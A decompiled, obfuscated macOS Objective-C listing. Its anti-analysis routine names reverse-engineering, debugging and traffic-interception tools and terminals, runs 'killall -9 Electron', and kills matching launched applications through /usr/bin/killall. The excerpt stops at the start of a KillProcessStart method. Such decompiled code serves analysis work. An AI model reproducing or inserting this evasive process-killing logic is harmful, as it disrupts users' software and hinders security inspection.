NSArray *v20; // rax
id v21; // rax
id v22; // rax
id v23; // [rsp+0h] [rbp-A0h] BYREF
_QWORD *v24; // [rsp+8h] [rbp-98h]
SEL v25; // [rsp+10h] [rbp-90h]
id v26; // [rsp+18h] [rbp-88h]
int v27; // [rsp+24h] [rbp-7Ch]
int v28; // [rsp+28h] [rbp-78h]
int v29; // [rsp+2Ch] [rbp-74h] BYREF
id v30; // [rsp+30h] [rbp-70h]
id v31; // [rsp+38h] [rbp-68h]
id v32; // [rsp+40h] [rbp-60h]
id *v33; // [rsp+48h] [rbp-58h]
id v34; // [rsp+50h] [rbp-50h]
bool v35; // [rsp+5Eh] [rbp-42h]
bool v36; // [rsp+5Fh] [rbp-41h]
int *v37; // [rsp+60h] [rbp-40h]
id *v38; // [rsp+68h] [rbp-38h]
__int64 v39; // [rsp+70h] [rbp-30h]
v39 = -1;
v27 = -1097427953;
v29 = -727525014;
v37 = &v29;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v29 <= -102794223 )
{
if ( v29 > -1484113795 )
{
if ( v29 > -964798015 )
{
if ( v29 > -854014581 )
{
switch ( v29 )
{
case -854014580:
asc_10027A703[0] = 82;
asc_10027A703[1] = 101;
asc_10027A703[2] = 116;
asc_10027A703[3] = 68;
asc_10027A703[4] = 101;
asc_10027A703[5] = 99;
asc_10027A703[6] = 0;
strcpy(asc_10027A6D0, "killall -9 Electron");
asc_10027A35B[0] = 108;
asc_10027A35B[1] = 115;
asc_10027A35B[2] = 111;
asc_10027A35B[3] = 102;
asc_10027A35B[4] = 0;
asc_10027A405[0] = 84;
asc_10027A405[1] = 101;
asc_10027A405[2] = 114;
asc_10027A405[3] = 109;
asc_10027A405[4] = 105;
asc_10027A405[5] = 110;
asc_10027A405[6] = 97;
asc_10027A405[7] = 108;
asc_10027A405[8] = 0;
asc_10027A64E[0] = 70;
asc_10027A64E[1] = 108;
asc_10027A64E[2] = 101;
asc_10027A64E[3] = 120;
asc_10027A64E[4] = 0;
aB_7[0] = 111;
aB_7[1] = 116;
aB_7[2] = 111;
aB_7[3] = 111;
aB_7[4] = 108;
aB_7[5] = 0;
asc_10027A68F[0] = 77;
asc_10027A68F[1] = 111;
asc_10027A68F[2] = 98;
asc_10027A68F[3] = 83;
asc_10027A68F[4] = 70;
asc_10027A68F[5] = 0;
asc_10027A642[0] = 67;
asc_10027A642[1] = 117;
asc_10027A642[2] = 116;
asc_10027A642[3] = 116;
asc_10027A642[4] = 101;
asc_10027A642[5] = 114;
asc_10027A642[6] = 0;
asc_10027A69C[0] = 120;
asc_10027A69C[1] = 54;
asc_10027A69C[2] = 52;
asc_10027A69C[3] = 100;
asc_10027A69C[4] = 98;
asc_10027A69C[5] = 103;
asc_10027A69C[6] = 0;
aK_7[0] = 105;
aK_7[1] = 84;
aK_7[2] = 101;
aK_7[3] = 114;
aK_7[4] = 109;
aK_7[5] = 0;
strcpy(asc_10027A5E5, "execsnoop");
strcpy(aV_9, "Class-dump");
aAd[0] = 82;
aAd[1] = 97;
aAd[2] = 100;
aAd[3] = 97;
aAd[4] = 114;
aAd[5] = 101;
aAd[6] = 50;
aAd[7] = 0;
asc_10027A676[0] = 100;
asc_10027A676[1] = 116;
asc_10027A676[2] = 114;
asc_10027A676[3] = 117;
asc_10027A676[4] = 115;
asc_10027A676[5] = 115;
asc_10027A676[6] = 0;
strcpy(asc_10027A5FE, "Frida-ios-dump");
a1_4[0] = 66;
a1_4[1] = 105;
a1_4[2] = 110;
a1_4[3] = 119;
a1_4[4] = 97;
a1_4[5] = 108;
a1_4[6] = 107;
a1_4[7] = 0;
aLh[0] = 87;
aLh[1] = 101;
aLh[2] = 122;
aLh[3] = 84;
aLh[4] = 101;
aLh[5] = 114;
aLh[6] = 109;
aLh[7] = 0;
aJ_10[0] = 71;
aJ_10[1] = 104;
aJ_10[2] = 105;
aJ_10[3] = 100;
aJ_10[4] = 114;
aJ_10[5] = 97;
aJ_10[6] = 0;
aN_20[0] = 72;
aN_20[1] = 111;
aN_20[2] = 112;
aN_20[3] = 112;
aN_20[4] = 101;
aN_20[5] = 114;
aN_20[6] = 0;
asc_10027A55A[0] = 110;
asc_10027A55A[1] = 101;
asc_10027A55A[2] = 101;
asc_10027A55A[3] = 100;
asc_10027A55A[4] = 108;
asc_10027A55A[5] = 101;
asc_10027A55A[6] = 0;
a67j[0] = 70;
a67j[1] = 105;
a67j[2] = 100;
a67j[3] = 100;
a67j[4] = 108;
a67j[5] = 101;
a67j[6] = 114;
a67j[7] = 0;
strcpy(aAp, "Fiddler Everywhere");
asc_10027A34E[0] = 111;
asc_10027A34E[1] = 115;
asc_10027A34E[2] = 113;
asc_10027A34E[3] = 117;
asc_10027A34E[4] = 101;
asc_10027A34E[5] = 114;
*v37 = -1059100990;
break;
case -727525014:
v4 = v27 == 85530369;
v5 = 2038863343;
goto LABEL_104;
case -449565929:
HikariFunctionWrapper_17123(v32, "setArguments:");
*v37 = 1360681039;
break;
}
}
else
{
switch ( v29 )
{
case -964798014:
objc_release(v26);
*v37 = -1538378978;
break;
case -914182055:
*v37 = 510012268;
break;
case -866359125:
v9 = 2032822584;
LABEL_102:
v5 = v9;
goto LABEL_119;
}
}
}
else if ( v29 > -1171424330 )
{
switch ( v29 )
{
case -1171424329:
asc_10027A34E[6] = 121;
asc_10027A34E[7] = 0;
strcpy(aB_4, "MachOView");
aSF[0] = 80;
aSF[1] = 111;
aSF[2] = 115;
aSF[3] = 116;
aSF[4] = 109;
aSF[5] = 97;
aSF[6] = 110;
aSF[7] = 0;
asc_10027A62E[0] = 66;
asc_10027A62E[1] = 105;
asc_10027A62E[2] = 110;
asc_10027A62E[3] = 97;
asc_10027A62E[4] = 114;
asc_10027A62E[5] = 121;
asc_10027A62E[6] = 32;
asc_10027A62E[7] = 78;
v10 = 0;
asc_10027A62E[8] = 105;
v5 = -1171424329;
v11 = 1900249974;
goto LABEL_117;
case -1107546906:
v4 = 0;
v5 = -2089577732;
v6 = 1314491814;
goto LABEL_105;
case -1059100990:
*v37 = -102794222;
break;
}
}
else
{
switch ( v29 )
{
case -1484113794:
objc_release(v31);
HikariFunctionWrapper_17125(v32, "launch");
objc_release(v32);
*v37 = -1499991318;
break;
case -1378896573:
*v37 = 447388717;
break;
case -1230340250:
*v37 = -1107546906;
break;
}
}
}
else if ( v29 > -1711707945 )
{
if ( v29 > -1504844313 )
{
switch ( v29 )
{
case -1504844312:
objc_release(v34);
objc_release(v23);
*v37 = 1905351072;
break;
case -1499991318:
v9 = -1538378978;
goto LABEL_102;
case -1494782977:
dword_10029F534 = 1;
v38 = &v23 - 48;
v33 = &v23 - 2;
objc_retain(a3);
system(asc_10027A6D0);
v12 = HikariFunctionWrapper_17115(a3, "userInfo");
v30 = objc_retainAutoreleasedReturnValue(v12);
objc_release(a3);
v13 = HikariFunctionWrapper_17117(v30, "objectForKeyedSubscript:");
v23 = objc_retainAutoreleasedReturnValue(v13);
v14 = objc_msgSend(v23, "localizedName");
v34 = objc_retainAutoreleasedReturnValue(v14);
*v38 = CFSTR("N\xE9\x18\xE9U\x9A\x82");
v38[1] = CFSTR("r\xB1\x18\x9B");
*v37 = 315728586;
break;
}
}
else
{
switch ( v29 )
{
case -1711707944:
HikariFunctionWrapper_17129(v32, "setArguments:");
goto LABEL_111;
case -1691569995:
*v24 = CFSTR("\xFE\xB9\x91\xDB\xF7\xB5\xEC\x3C\xD3\xAA");
v38[14] = CFSTR("\bV(\xC5\xEE;o\x02,E\x8D");
v38[15] = CFSTR("\xAA2\x00\xFB\v\xAE]");
v38[16] = CFSTR("Ϭ\xF0\x0F\x7D\xFC");
v38[17] = CFSTR("b\x11\xB4p\xE3\x46\xEE\xA5");
v38[18] = CFSTR("Kf\xE4\x57\xCBV?\xE3\x31\xF9");
v38[19] = CFSTR("1_\x9AY\xE8\xD6\x16");
v38[20] = CFSTR("<\t'\x85\xFEF\x90B");
v38[21] = CFSTR("]\bb\xB4\xCE\x76");
v38[22] = CFSTR("Q\xBA\x18\x11\xD7\xD8W");
v38[23] = CFSTR("67J\x85\xBEy\xFC,");
v38[24] = CFSTR("aP\x932\aAKse\t\x88\xFC\x98\x1B\xB6a");
v38[25] = CFSTR("\xD7\x1A\x0E\x80\x1A\xCB\x43ћ&\xAE");
v38[26] = CFSTR("h\x99\xC7\x76+Օ");
v38[27] = CFSTR("\r\xADɛ\t6\xAEI\r\xA4");
v38[28] = CFSTR("9\xDF\xD6\xA9\xFA С\x14\x17");
v38[29] = CFSTR("\xE2\xE9\xFC\n\xAD\x7F\xF8\xA4\xB3(yC\xC5\xC8\xCA\x4F");
v38[30] = CFSTR("\xEB\xCA\x78\x93\x9E\be<\x88");
v38[31] = CFSTR("\x8DBQ7\x1E\xEA\x8B\x0D=");
v38[32] = CFSTR("#k\xBB\xA45\x1B");
v38[33] = CFSTR("W\xA6K\xF1\xD2\x06\xE1");
v38[34] = CFSTR("z\xFF\xCF\x23\u07BC($\\\xB5");
v38[35] = CFSTR("^lH\x9A\xC1\x51$\x19");
v38[36] = CFSTR("\xD6\x99\xB2\xD4\xCF");
v38[37] = CFSTR("ۚ![]A");
v38[38] = CFSTR("\xFD\x9C\x10\xFA\"\x1An");
v38[39] = CFSTR("\x91C\xBFx\x05\xAC}");
v38[40] = CFSTR("\x9F\xD4\x16\t\x9D&\xBF\x9F\xA3X");
v38[41] = CFSTR("̉\x10\u4365Ar");
v38[42] = CFSTR("!\x9EK\x15\xA2");
v38[43] = CFSTR("S\x1Af\xB44\tr@");
v38[44] = CFSTR("c\x93\x80;\xCE\xF3\x86\xE9\xDE\x4B\xD1\x7B,h");
v38[45] = CFSTR("4Ʉ\xEF\xE0\x11");
v38[46] = CFSTR("\x06\x99\xAB\xBE\xDB\x13m");
v38[47] = CFSTR("\xB2\xB2\xC4\x33\xA0\x1A\xA7E");
v18 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v38,
48);
v19 = objc_retainAutoreleasedReturnValue(v18);
-[NSArray containsObject:](v19, "containsObject:", v34);
*v37 = -1831650298;
break;
case -1538378978:
objc_release(v26);
v7 = 0;
v5 = -964798014;
v8 = 966250154;
goto LABEL_97;
}
}
}
else if ( v29 > -2078038450 )
{
switch ( v29 )
{
case -2078038449:
goto LABEL_80;
case -1831650298:
*v24 = CFSTR("\xFE\xB9\x91\xDB\xF7\xB5\xEC\x3C\xD3\xAA");
v38[14] = CFSTR("\bV(\xC5\xEE;o\x02,E\x8D");
v38[15] = CFSTR("\xAA2\x00\xFB\v\xAE]");
v38[16] = CFSTR("Ϭ\xF0\x0F\x7D\xFC");
v38[17] = CFSTR("b\x11\xB4p\xE3\x46\xEE\xA5");
v38[18] = CFSTR("Kf\xE4\x57\xCBV?\xE3\x31\xF9");
v38[19] = CFSTR("1_\x9AY\xE8\xD6\x16");
v38[20] = CFSTR("<\t'\x85\xFEF\x90B");
v38[21] = CFSTR("]\bb\xB4\xCE\x76");
v38[22] = CFSTR("Q\xBA\x18\x11\xD7\xD8W");
v38[23] = CFSTR("67J\x85\xBEy\xFC,");
v38[24] = CFSTR("aP\x932\aAKse\t\x88\xFC\x98\x1B\xB6a");
v38[25] = CFSTR("\xD7\x1A\x0E\x80\x1A\xCB\x43ћ&\xAE");
v38[26] = CFSTR("h\x99\xC7\x76+Օ");
v38[27] = CFSTR("\r\xADɛ\t6\xAEI\r\xA4");
v38[28] = CFSTR("9\xDF\xD6\xA9\xFA С\x14\x17");
v38[29] = CFSTR("\xE2\xE9\xFC\n\xAD\x7F\xF8\xA4\xB3(yC\xC5\xC8\xCA\x4F");
v38[30] = CFSTR("\xEB\xCA\x78\x93\x9E\be<\x88");
v38[31] = CFSTR("\x8DBQ7\x1E\xEA\x8B\x0D=");
v38[32] = CFSTR("#k\xBB\xA45\x1B");
v38[33] = CFSTR("W\xA6K\xF1\xD2\x06\xE1");
v38[34] = CFSTR("z\xFF\xCF\x23\u07BC($\\\xB5");
v38[35] = CFSTR("^lH\x9A\xC1\x51$\x19");
v38[36] = CFSTR("\xD6\x99\xB2\xD4\xCF");
v38[37] = CFSTR("ۚ![]A");
v38[38] = CFSTR("\xFD\x9C\x10\xFA\"\x1An");
v38[39] = CFSTR("\x91C\xBFx\x05\xAC}");
v38[40] = CFSTR("\x9F\xD4\x16\t\x9D&\xBF\x9F\xA3X");
v38[41] = CFSTR("̉\x10\u4365Ar");
v38[42] = CFSTR("!\x9EK\x15\xA2");
v38[43] = CFSTR("S\x1Af\xB44\tr@");
v38[44] = CFSTR("c\x93\x80;\xCE\xF3\x86\xE9\xDE\x4B\xD1\x7B,h");
v38[45] = CFSTR("4Ʉ\xEF\xE0\x11");
v38[46] = CFSTR("\x06\x99\xAB\xBE\xDB\x13m");
v38[47] = CFSTR("\xB2\xB2\xC4\x33\xA0\x1A\xA7E");
v25 = "arrayWithObjects:count:";
v20 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v38,
48);
v26 = objc_retainAutoreleasedReturnValue(v20);
v36 = (unsigned __int8)HikariFunctionWrapper_17119(v26, "containsObject:") == 0;
v7 = 1;
v5 = 1485814293;
v8 = -1831650298;
LABEL_97:
if ( !v7 )
v5 = v8;
goto LABEL_119;
case -1762346529:
v10 = 0;
v5 = 1658805943;
v11 = -854014580;
goto LABEL_117;
}
}
else
{
switch ( v29 )
{
case -2114775574:
v10 = !v35;
v5 = -1494782977;
v11 = -1762346529;
goto LABEL_117;
case -2100214777:
v7 = 0;
v5 = -1504844312;
v8 = 1905351072;
goto LABEL_97;
case -2089577732:
objc_release(v30);
v4 = 0;
v5 = 1179468364;
v6 = -2089577732;
goto LABEL_105;
}
}
}
if ( v29 > 1179468363 )
break;
if ( v29 > 503501943 )
{
if ( v29 > 912933918 )
{
switch ( v29 )
{
case 912933919:
v15 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v16 = objc_msgSend(v15, "init");
HikariFunctionWrapper_17127(v16, "setLaunchPath:");
*v33 = CFSTR("\xCA\x08,");
v33[1] = v34;
v17 = objc_msgSend(&OBJC_CLASS___NSArray, v25, v33, 2);
objc_retainAutoreleasedReturnValue(v17);
*v37 = 2032822584;
break;
case 966250154:
*v37 = -2100214777;
break;
case 1007303878:
v9 = 510012268;
goto LABEL_102;
}
}
else
{
switch ( v29 )
{
case 503501944:
v35 = v28 == 0;
v4 = 0;
v5 = -94700960;
v6 = 503501944;
goto LABEL_105;
case 510012268:
*v37 = -2114775574;
break;
case 694276138:
asc_10027A62E[9] = 110;
asc_10027A62E[10] = 106;
asc_10027A62E[11] = 97;
asc_10027A62E[12] = 0;
strcpy(aZ_8, "Alacritty");
strcpy(asc_10027A59F, "Objection");
strcpy(asc_10027A477, "SSL Kill Switch");
strcpy(a9_3, "Wireshark");
asc_10027A490[0] = 80;
asc_10027A490[1] = 114;
asc_10027A490[2] = 111;
asc_10027A490[3] = 120;
asc_10027A490[4] = 121;
asc_10027A490[5] = 109;
asc_10027A490[6] = 97;
asc_10027A490[7] = 110;
asc_10027A490[8] = 0;
strcpy(asc_10027A3A3, "Burp Suite");
aQ_3[0] = 67;
aQ_3[1] = 104;
aQ_3[2] = 97;
aQ_3[3] = 114;
aQ_3[4] = 108;
aQ_3[5] = 101;
aQ_3[6] = 115;
aQ_3[7] = 0;
strcpy(asc_10027A430, "/usr/bin/killall");
strcpy(aKf, "Hex Fiend");
asc_10027A6E9[0] = 76;
asc_10027A6E9[1] = 76;
asc_10027A6E9[2] = 68;
asc_10027A6E9[3] = 66;
asc_10027A6E9[4] = 0;
aR_10[0] = 116;
aR_10[1] = 99;
aR_10[2] = 112;
aR_10[3] = 100;
aR_10[4] = 117;
aR_10[5] = 109;
aR_10[6] = 112;
aR_10[7] = 0;
aA_11[0] = 72;
aA_11[1] = 121;
aA_11[2] = 112;
aA_11[3] = 101;
aA_11[4] = 114;
aA_11[5] = 0;
asc_10027A343[0] = 45;
asc_10027A343[1] = 57;
asc_10027A343[2] = 0;
aR_11[0] = 70;
aR_11[1] = 114;
aR_11[2] = 105;
aR_11[3] = 100;
aR_11[4] = 97;
aR_11[5] = 0;
asc_10027A5B1[0] = 67;
asc_10027A5B1[1] = 121;
asc_10027A5B1[2] = 99;
asc_10027A5B1[3] = 114;
asc_10027A5B1[4] = 105;
asc_10027A5B1[5] = 112;
asc_10027A5B1[6] = 116;
asc_10027A5B1[7] = 0;
aW_8[0] = 105;
aW_8[1] = 84;
aW_8[2] = 101;
aW_8[3] = 114;
aW_8[4] = 109;
aW_8[5] = 50;
aW_8[6] = 0;
aB_5[0] = 67;
aB_5[1] = 97;
aB_5[2] = 112;
aB_5[3] = 115;
aB_5[4] = 116;
aB_5[5] = 111;
aB_5[6] = 110;
aB_5[7] = 101;
aB_5[8] = 0;
asc_10027A3B5[0] = 115;
asc_10027A3B5[1] = 116;
asc_10027A3B5[2] = 114;
asc_10027A3B5[3] = 97;
asc_10027A3B5[4] = 99;
asc_10027A3B5[5] = 101;
asc_10027A3B5[6] = 0;
asc_10027A4BD[0] = 115;
asc_10027A4BD[1] = 116;
asc_10027A4BD[2] = 114;
asc_10027A4BD[3] = 105;
asc_10027A4BD[4] = 110;
asc_10027A4BD[5] = 103;
asc_10027A4BD[6] = 115;
asc_10027A4BD[7] = 0;
strcpy(asc_10027A4CF, "Mitmproxy");
strcpy(asc_10027A45C, "RviCapture");
a4u[0] = 84;
a4u[1] = 97;
a4u[2] = 98;
a4u[3] = 98;
a4u[4] = 121;
a4u[5] = 0;
asc_10027A392[0] = 75;
asc_10027A392[1] = 105;
asc_10027A392[2] = 116;
asc_10027A392[3] = 116;
asc_10027A392[4] = 121;
asc_10027A392[5] = 0;
asc_10027A3D3[0] = 80;
asc_10027A3D3[1] = 121;
asc_10027A3D3[2] = 116;
asc_10027A3D3[3] = 104;
asc_10027A3D3[4] = 111;
asc_10027A3D3[5] = 110;
asc_10027A3D3[6] = 0;
strcpy(aC_10, "HTTP Debugger");
*v37 = -1494782977;
break;
}
}
}
else if ( v29 > 315728585 )
{
switch ( v29 )
{
case 315728586:
v38[2] = CFSTR("x<\x9FQI$<\\\x94\x05\x14\x95\xA9");
v38[3] = CFSTR("j\xD8\x05\xAB\xCE\x34\x93");
v38[4] = CFSTR("l_\xF3\x15\x16\xA2\xB1");
v38[5] = CFSTR("aD?\x96\x93\xAB");
v38[6] = CFSTR("\xF0\x61\x54\xC6!");
v38[7] = CFSTR("\xE3\x54\x2A\xA1$\xBD.");
v38[8] = CFSTR("\x19B\xB62\x15\xFCSV%");
v38[9] = CFSTR("\x8E\x8Eج;\xBAm");
v38[10] = CFSTR("\xDC\x7F\xF3\x96\x69\xD1'#\xCB\xEC\x9Fq\xA4\x94");
v38[11] = CFSTR("\xA3h\xE2\x87\xD6jEX");
v38[12] = CFSTR("\xAD\xAD\xC9\x263");
v24 = v38 + 13;
*v37 = 1985128307;
break;
case 323973489:
asc_10027A34E[6] = 121;
asc_10027A34E[7] = 0;
strcpy(aB_4, "MachOView");
aSF[0] = 80;
aSF[1] = 111;
aSF[2] = 115;
aSF[3] = 116;
aSF[4] = 109;
aSF[5] = 97;
aSF[6] = 110;
aSF[7] = 0;
asc_10027A62E[0] = 66;
asc_10027A62E[1] = 105;
asc_10027A62E[2] = 110;
asc_10027A62E[3] = 97;
asc_10027A62E[4] = 114;
asc_10027A62E[5] = 121;
asc_10027A62E[6] = 32;
asc_10027A62E[7] = 78;
asc_10027A62E[8] = 105;
*v37 = -1171424329;
break;
case 447388717:
LABEL_111:
*v37 = -449565929;
break;
}
}
else
{
switch ( v29 )
{
case -102794222:
v10 = 0;
v5 = 323973489;
v11 = -1171424329;
goto LABEL_117;
case -94700960:
*v37 = 1007303878;
break;
case 186875855:
LABEL_80:
*v37 = 503501944;
break;
}
}
}
if ( v29 <= 1900249973 )
break;
if ( v29 > 2005422340 )
{
switch ( v29 )
{
case 2005422341:
*v37 = -2078038449;
break;
case 2032822584:
v21 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v32 = objc_msgSend(v21, "init");
HikariFunctionWrapper_17121(v32, "setLaunchPath:");
*v33 = CFSTR("\xCA\x08,");
v33[1] = v34;
v22 = objc_msgSend(&OBJC_CLASS___NSArray, v25, v33, 2);
v31 = objc_retainAutoreleasedReturnValue(v22);
*v37 = -1378896573;
break;
case 2038863343:
v4 = 0;
v28 = dword_10029F534;
v5 = 2005422341;
LABEL_104:
v6 = 1780007264;
LABEL_105:
if ( v4 )
v5 = v6;
goto LABEL_119;
}
}
else
{
switch ( v29 )
{
case 1900249974:
*v37 = 694276138;
break;
case 1905351072:
objc_release(v34);
objc_release(v23);
v10 = 0;
v5 = 1905351072;
v11 = -1230340250;
LABEL_117:
if ( !v10 )
v5 = v11;
LABEL_119:
*v37 = v5;
break;
case 1985128307:
v7 = 1;
v5 = -1831650298;
v8 = -1691569995;
goto LABEL_97;
}
}
}
if ( v29 <= 1485814292 )
break;
switch ( v29 )
{
case 1485814293:
v10 = !v36;
v5 = -866359125;
v11 = -1499991318;
goto LABEL_117;
case 1658805943:
asc_10027A703[0] = 82;
asc_10027A703[1] = 101;
asc_10027A703[2] = 116;
asc_10027A703[3] = 68;
asc_10027A703[4] = 101;
asc_10027A703[5] = 99;
asc_10027A703[6] = 0;
strcpy(asc_10027A6D0, "killall -9 Electron");
asc_10027A35B[0] = 108;
asc_10027A35B[1] = 115;
asc_10027A35B[2] = 111;
asc_10027A35B[3] = 102;
asc_10027A35B[4] = 0;
asc_10027A405[0] = 84;
asc_10027A405[1] = 101;
asc_10027A405[2] = 114;
asc_10027A405[3] = 109;
asc_10027A405[4] = 105;
asc_10027A405[5] = 110;
asc_10027A405[6] = 97;
asc_10027A405[7] = 108;
asc_10027A405[8] = 0;
asc_10027A64E[0] = 70;
asc_10027A64E[1] = 108;
asc_10027A64E[2] = 101;
asc_10027A64E[3] = 120;
asc_10027A64E[4] = 0;
aB_7[0] = 111;
aB_7[1] = 116;
aB_7[2] = 111;
aB_7[3] = 111;
aB_7[4] = 108;
aB_7[5] = 0;
asc_10027A68F[0] = 77;
asc_10027A68F[1] = 111;
asc_10027A68F[2] = 98;
asc_10027A68F[3] = 83;
asc_10027A68F[4] = 70;
asc_10027A68F[5] = 0;
asc_10027A642[0] = 67;
asc_10027A642[1] = 117;
asc_10027A642[2] = 116;
asc_10027A642[3] = 116;
asc_10027A642[4] = 101;
asc_10027A642[5] = 114;
asc_10027A642[6] = 0;
asc_10027A69C[0] = 120;
asc_10027A69C[1] = 54;
asc_10027A69C[2] = 52;
asc_10027A69C[3] = 100;
asc_10027A69C[4] = 98;
asc_10027A69C[5] = 103;
asc_10027A69C[6] = 0;
aK_7[0] = 105;
aK_7[1] = 84;
aK_7[2] = 101;
aK_7[3] = 114;
aK_7[4] = 109;
aK_7[5] = 0;
strcpy(asc_10027A5E5, "execsnoop");
strcpy(aV_9, "Class-dump");
aAd[0] = 82;
aAd[1] = 97;
aAd[2] = 100;
aAd[3] = 97;
aAd[4] = 114;
aAd[5] = 101;
aAd[6] = 50;
aAd[7] = 0;
asc_10027A676[0] = 100;
asc_10027A676[1] = 116;
asc_10027A676[2] = 114;
asc_10027A676[3] = 117;
asc_10027A676[4] = 115;
asc_10027A676[5] = 115;
asc_10027A676[6] = 0;
strcpy(asc_10027A5FE, "Frida-ios-dump");
a1_4[0] = 66;
a1_4[1] = 105;
a1_4[2] = 110;
a1_4[3] = 119;
a1_4[4] = 97;
a1_4[5] = 108;
a1_4[6] = 107;
a1_4[7] = 0;
aLh[0] = 87;
aLh[1] = 101;
aLh[2] = 122;
aLh[3] = 84;
aLh[4] = 101;
aLh[5] = 114;
aLh[6] = 109;
aLh[7] = 0;
aJ_10[0] = 71;
aJ_10[1] = 104;
aJ_10[2] = 105;
aJ_10[3] = 100;
aJ_10[4] = 114;
aJ_10[5] = 97;
aJ_10[6] = 0;
aN_20[0] = 72;
aN_20[1] = 111;
aN_20[2] = 112;
aN_20[3] = 112;
aN_20[4] = 101;
aN_20[5] = 114;
aN_20[6] = 0;
asc_10027A55A[0] = 110;
asc_10027A55A[1] = 101;
asc_10027A55A[2] = 101;
asc_10027A55A[3] = 100;
asc_10027A55A[4] = 108;
asc_10027A55A[5] = 101;
asc_10027A55A[6] = 0;
a67j[0] = 70;
a67j[1] = 105;
a67j[2] = 100;
a67j[3] = 100;
a67j[4] = 108;
a67j[5] = 101;
a67j[6] = 114;
a67j[7] = 0;
strcpy(aAp, "Fiddler Everywhere");
asc_10027A34E[0] = 111;
asc_10027A34E[1] = 115;
asc_10027A34E[2] = 113;
asc_10027A34E[3] = 117;
asc_10027A34E[4] = 101;
asc_10027A34E[5] = 114;
*v37 = -854014580;
break;
case 1780007264:
*v37 = 2038863343;
break;
}
}
if ( v29 != 1314491814 )
break;
objc_release(v30);
*v37 = -2089577732;
}
if ( v29 != 1360681039 )
break;
*v37 = -1484113794;
}
}
while ( v29 != 1179468364 );
}
// 10027A730: using guessed type __CFString stru_10027A730;
// 10027A7B0: using guessed type __CFString stru_10027A7B0;
// 10027A7F0: using guessed type __CFString cfstr_4u;
// 10027A830: using guessed type __CFString stru_10027A830;
// 10027A870: using guessed type __CFString stru_10027A870;
// 10027A8B0: using guessed type __CFString cfstr_C_10;
// 10027A8F0: using guessed type __CFString cfstr_SF;
// 10027A930: using guessed type __CFString stru_10027A930;
// 10027A970: using guessed type __CFString cfstr_Kf;
// 10027A9B0: using guessed type __CFString cfstr_R_10;
// 10027A9F0: using guessed type __CFString stru_10027A9F0;
// 10027AA30: using guessed type __CFString cfstr_Lh;
// 10027AA70: using guessed type __CFString cfstr_A_11;
// 10027AAB0: using guessed type __CFString stru_10027AAB0;
// 10027AAF0: using guessed type __CFString stru_10027AAF0;
// 10027AB30: using guessed type __CFString stru_10027AB30;
// 10027AB70: using guessed type __CFString stru_10027AB70;
// 10027ABB0: using guessed type __CFString cfstr_9_3;
// 10027ABF0: using guessed type __CFString stru_10027ABF0;
// 10027AC30: using guessed type __CFString stru_10027AC30;
// 10027AC70: using guessed type __CFString stru_10027AC70;
// 10027ACB0: using guessed type __CFString cfstr_Z_8;
// 10027ACF0: using guessed type __CFString stru_10027ACF0;
// 10027AD30: using guessed type __CFString cfstr_Ap;
// 10027AD70: using guessed type __CFString stru_10027AD70;
// 10027ADB0: using guessed type __CFString stru_10027ADB0;
// 10027ADF0: using guessed type __CFString cfstr_R_11;
// 10027AE30: using guessed type __CFString cfstr_W_8;
// 10027AE70: using guessed type __CFString cfstr_67j;
// 10027AEB0: using guessed type __CFString cfstr_B_4;
// 10027AEF0: using guessed type __CFString stru_10027AEF0;
// 10027AF30: using guessed type __CFString cfstr_V_9;
// 10027AF70: using guessed type __CFString stru_10027AF70;
// 10027AFB0: using guessed type __CFString cfstr_B_5;
// 10027AFF0: using guessed type __CFString stru_10027AFF0;
// 10027B030: using guessed type __CFString cfstr_Q_3;
// 10027B070: using guessed type __CFString stru_10027B070;
// 10027B0B0: using guessed type __CFString cfstr_Ad;
// 10027B0F0: using guessed type __CFString cfstr_1_4;
// 10027B130: using guessed type __CFString stru_10027B130;
// 10027B170: using guessed type __CFString stru_10027B170;
// 10027B1B0: using guessed type __CFString cfstr_J_10;
// 10027B1F0: using guessed type __CFString cfstr_N_20;
// 10027B230: using guessed type __CFString stru_10027B230;
// 10027B270: using guessed type __CFString stru_10027B270;
// 10027B2B0: using guessed type __CFString stru_10027B2B0;
// 10027B2F0: using guessed type __CFString cfstr_K_7;
// 10027B330: using guessed type __CFString cfstr_B_7;
// 10027B370: using guessed type __CFString stru_10027B370;
// 10029F534: using guessed type int dword_10029F534;
//----- (00000001000E9F70) ----------------------------------------------------
void __cdecl -[AppDelegate KillProcessStart](AppDelegate *self, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
char v5; // cf
int v6; // ecx
int v7; // eax
unsigned __int8 v8; // al
id v9; // rax
NSWorkspace *v10; // rax
id v11; // rax
id v12; // r15
__int64 *v13; // rax
int v14; // eax
bool v15; // zf
int v16; // ecx
id v17; // rax
id v18; // rax
id v19; // r15
bool v20; // zf
int v21; // ecx
id v22; // rax
NSWorkspace *v23; // rax
NSWorkspace *v24; // rax
id v25; // rax
id v26; // rax
id v27; // r15
id v28; // rax
id v29; // rax
id v30; // rax
id v31; // rax
__int64 *v32; // rax
id v33; // rax
__int64 v34; // [rsp+0h] [rbp-130h] BYREF
id v35; // [rsp+8h] [rbp-128h]
__int64 v36; // [rsp+10h] [rbp-120h]
SEL v37; // [rsp+18h] [rbp-118h]
SEL v38; // [rsp+20h] [rbp-110h]
id v39; // [rsp+28h] [rbp-108h]
const char *v40; // [rsp+30h] [rbp-100h]
const char *v41; // [rsp+38h] [rbp-F8h]
__int64 **v42; // [rsp+40h] [rbp-F0h]
_QWORD *v43; // [rsp+48h] [rbp-E8h]
id *v44; // [rsp+50h] [rbp-E0h]
SEL v45; // [rsp+58h] [rbp-D8h]
SEL v46; // [rsp+60h] [rbp-D0h]
SEL v47; // [rsp+68h] [rbp-C8h]
SEL v48; // [rsp+70h] [rbp-C0h]
id v49; // [rsp+78h] [rbp-B8h]
id v50; // [rsp+80h] [rbp-B0h]
id v51; // [rsp+88h] [rbp-A8h]
id v52; // [rsp+90h] [rbp-A0h]
int v53; // [rsp+98h] [rbp-98h]
int v54; // [rsp+9Ch] [rbp-94h] BYREF
id v55; // [rsp+A0h] [rbp-90h]
__int64 *v56; // [rsp+A8h] [rbp-88h]
id v57; // [rsp+B0h] [rbp-80h]
id v58; // [rsp+B8h] [rbp-78h]
__int64 *v59; // [rsp+C0h] [rbp-70h]
